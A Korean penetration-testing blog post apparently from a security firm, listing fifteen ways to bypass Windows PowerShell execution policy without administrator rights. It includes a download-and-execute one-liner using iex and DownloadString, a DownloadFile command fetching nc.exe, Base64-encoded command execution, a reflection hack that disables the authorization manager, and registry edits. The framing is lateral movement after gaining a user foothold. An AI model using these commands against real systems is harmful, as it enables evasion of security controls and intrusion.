* 사업 등 관련 문의: T) 02-322-4688, F) 02-322-4646, E) info@wikisecurity.net
Windows PowerShell은 여러 가지면에서 보안진단자나 시스템운영자 등에게 유용한 툴임은 분명하다.
그러나, Windows의 기본 환경 설정값이 “Restricted”로 설정되어 있어 PowerShell script의 직접적인 실행을 방지하도록 설정되어 있다.
이러한 설정은 인터넷에 있는 유용한 PowerShell Script 사용을 하고자 하는 시스템관리자 또는 개발자에게 작은 난관이 되기도 하지만, 모의해킹 진단을 할때도 작은 장애물로 작용하기 마련이다.
따라서 본 내용은 policy 설정을 바꾸는 방법을 비롯하여 시스템의 관리자 권한 없이 PowerShell의 execution policy를 우회해서 PowerShell Script를 실행할 수 있는 방법 15가지를 소개한다.
이 방법들은 모의해킹 진단자의 입장에서 보면, 윈도우의 일반 사용자로 시스템 권한을 획득한 경우에 인터넷상에 있는 다른 스크립트를 다운로드하여 실행시키거나 직접 제작한 스크립트를 실행시켜서, 동일 네트워크 또는 도메인에 있는 다른 서버로 공격전이를 하는데 많은 도움을 줄수 있다.
이 방법은, 가장 기본적인 예이며, 대화형 콘솔에 스크립트를 빠르게 실행할 때 사용될 수 있다.
PS C:\TEMP> write-host "Wikisecurity Coporation, It's me." Wikisecurity Corporation, It's me. PS C:\TEMP>
프롬프트상에서 echo 명령으로 실행하고자 하는 명령을 작성하고 PowerShell의 표준입력으로 파이프를 연결한다.
C:\Temp>echo Write-host "Wikisecurity Corporation." | powershell -noprofile - Wikisecurity Corporation. C:\Temp>
먼저 Temp 디렉터리 아래 runme.ps1 파일을 아래의 문구와 같이 작성한 후 파일을 저장한다.
"Wikisecurity Corporation, It's me"
예 1) Get-Content 명령어 사용
PS C:\TEMP> Get-Content .\runme.ps1 | PowerShell.exe -noprofile - Wikisecurity Corporation, It's me. PS C:\TEMP>
예 2) Type 명령어 사용
PS C:\TEMP> TYPE .\runme.ps1 | PowerShell.exe -noprofile - Wikisecurity Corporation, IT's me. PS C:\TEMP>
먼저 runme.ps1 파일을 넣을 내부 또는 외부의 URI 경로를 확인 후, DownloadString를 사용하여 아래와 같이 입력한다.
PS C:\TEMP> powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://www.wikisecurity.net/temp/runme.ps1')" Wikisecurity Corporation, It's me. PS C:\TEMP>
(*) 위의 방법은 텍스트를 다운로드 하는 방법이고, DownloadFile을 사용하면 Binary 파일까지 다운로드 할 수 있다.
PS C:\TEMP> powershell -nop -c "iex(New-Object Net.WebClient).DownloadFile('http://www.wikisecurity.net/temp/nc.exe', c:\temp\nc.exe)"
이 방법은 간단한 스크립트 실행을 위해선 좋은 방법이지만, 복잡한 스크립트를 사용할 경우에는 Parsing error 등을 유발할 수도 있다.
예 1) 일반 명령어
PS C:\TEMP> Powershell -command "Write-Host 'Wikisecurity Corporation'" Wikisecurity Corporation, It's me. PS C:\TEMP>
예 2) 단축 명령어
PS C:\TEMP> Powershell -c "write-Host 'Wikisecurity Corporation'" Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 “Command” 옵션을 사용하는 방법과 유사하지만, 모든 스크립트는 유니코드/Base64로 인코딩된 문자열로 제공된다.
이 방식으로 스크립트를 인코딩하면 “Command” 옵션을 사용하게 되는 경우에 실행되는 귀찮은 구문분석 오류를 방지하는데 도움이 된다.
예 1) 일반 명령어
PS C:\TEMP> $command = "Write-Host 'Wikisecurity Corporation.'" PS C:\TEMP> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) PS C:\TEMP> $encodedCommand = [Convert]::ToBase64String($bytes) PS C:\TEMP> $encodedCommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAVwBpAGsAaQBzAGUAYwB1AHIAaQB0AHkAIABDAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgAnAA== PS C:\TEMP> powershell.exe -encodedCommand $encodedCommand Wikisecurity Corporation, It's me. PS C:\TEMP> 예제 2) 단축 명령어 PS C:\TEMP> Powershell.exe -Enc dwByAGkAdABlAC0AaABvAHMAdAAgACcAVwBpAGsAaQBzAGUAYwB1AHIAaQB0AHkAIABDAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgAnAA== Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 Obscuresec 블로그에서 발견한 흥미로운 방법중 하나이다.
PowerShell의 원격실행이 활성화 되어 있는 시스템(예:Server01)을 Invoke-Command로 실행하여 ExecutionPolicy를 강제 덮어쓰는 방법이다.
PS C:\TEMP> invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 Get-Content명령으로 스크립트를 읽어서 파이프로 Invoke-Expression에 연결하여 실행하는 방법이다.
예 1) Get-Content 일반 명령어 사용
PS C:\TEMP> Get-Content .\runme.ps1 | Invoke-Expression Wikisecurity Corporation, It's me. PS C:\TEMP>
예 2) Get-Content 단축 명령어 사용
PS C:\TEMP> GC .\runme.ps1 | iex Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 신규로 추가된 플래그로써, 해당 스크립트에 대해서는 예외적으로 Bypass ExecutionPolicy를 적용하는 방법이다.
(다만, 경고 메시지가 표시된다.)
PS C:\TEMP> PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1 Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 “Bypass” 플래그와 유사한 방법으로써, 해당 스크립트에 대해서는 예외적으로 UnRestricted의 ExecutionPolicy를 적용하는 방법이다.
(다만, 경고 메시지가 표시된다.)
PS C:\TEMP> PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1 Wikisecurity Corporation, It's me. PS C:\TEMP>
참조할 튜토리얼 스크립트 URL : http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
위 URL 을 통해 제시된 튜토리얼 스크립트를 작성한 후 진행.
PS C:\TEMP> PowerShell.exe -ExecutionPolicy Remote-signed -File .\runme.ps1
PowerShell은 Console상태에서 대화형식으로 실행할 수 있는데,
아래 코드와 같이 AuthorizationManager의 ExecutionPolicy를 Disable-ExecutionPolicy로 변경하는 함수를 정의하고,
실행하고자 하는 스크립트를 실행하게되면, 이 세션을 유지하는 동안 ExecutionPolicy을 Unrestricted 설정으로 사용할 수 있다.
PS C:\TEMP> function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} PS C:\TEMP> Disable-ExecutionPolicy PS C:\TEMP> .\runme.ps1 Wikisecurity Corporation, It's me. PS C:\TEMP>
ExecutionPolicy은 여러가지 상태로 적용할 수 있는데, 이 방법은 사용자의 컨트롤을 통해 사용 될 수 있는 방법이다.
이 방법도 세션을 유지하는 동안만 적용된다.
PS C:\TEMP> Set-ExecutionPolicy Bypass -Scope Process (Process의 ExecutionPolicy을 Bypass로 변경) Scope ExecutionPolicy ----- ------------------- Process Bypass PS C:\TEMP> .\runme.ps1 Wikisecurity Corporation, It's me. PS C:\TEMP>
이 방법은 Process Scope변경과 유사하지만, 영구적으로 레지스트리 키를 수정하여 현재 사용자 환경설정을 적용하는 방법이다.
현재 레지스트리 상태는 아래와 같이 Restricted 상태로 되어 있다.
PS C:\TEMP> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy UnRestricted (CurrntUser의 실행정책이 Unrestricted로 변경) Scope ExecutionPolicy ----- ------------------- CurrentUser Unrestricted
스크립트 문구를 사용하여 Unrestricted 상태로 변경된 것을 아래와 같이 확인 할 수 있다.
이 방법은 직접 레지스트리키를 수정하여 현재 사용자의 환경에 대한 실행정책을 변경하는 방법이다.
(이 방법은 HKEY_LOCAL_MACHINE 레지스트리에서도 변경이 가능함)
레지스트리 변경 주소 : HKEY_CURRENTUSER\Software\Microsoft\PowerShell\1\Shellds\Microsoft.PowerShell 키값 : ExecutionPolicy 데이터 : Unrestricted
(*) 참고 : LifeHacker 블로그의 Wendy Boswell